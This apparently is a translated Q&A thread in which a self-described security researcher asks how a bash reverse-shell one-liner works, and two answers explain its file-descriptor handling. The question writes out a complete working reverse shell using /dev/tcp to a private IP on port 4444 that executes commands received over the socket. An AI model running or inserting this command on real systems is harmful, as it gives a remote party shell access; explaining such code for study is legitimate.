
我正在做一些安全研究,我想知道以下程式碼片段如何在基於 Unix 的作業系統上運作:
exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done
我完全清楚什麼這段程式碼確實(即透過連接埠 4444 建立到 192.168.159.150 的反向 shell),但我不明白這些部分在做什麼:
exec 5<>
cat <&5
2>&5 >&5
總的來說,這個東西是如何組合在一起產生我所看到的外殼的。
誰能幫助解釋這一點或指出我理解這一點的正確方向?
謝謝
答案1
快速概述:
exec 5<>
正在開啟一個新的檔案句柄以進行讀寫,然後命名它5
cat <&5
正在從新開啟的檔案句柄中讀取
2>&5 >&5
2
將檔案句柄(stderr) 和檔案句柄(stdout)的輸出重新導向1
到檔案句柄5
。在這種情況下是1
隱含的,因為第二次重定向時未提供檔案句柄號。
答案2
您的問題的部分內容已得到解答這裡
但
- 這定義了編號為 5 的新檔案描述符。
- 回顯訊息,透過 TCP 接收,IP 192.168.159.150,連接埠 4444
- 將 STDERR 和 STDOUT 傳送到 filehandler 5 ie 網絡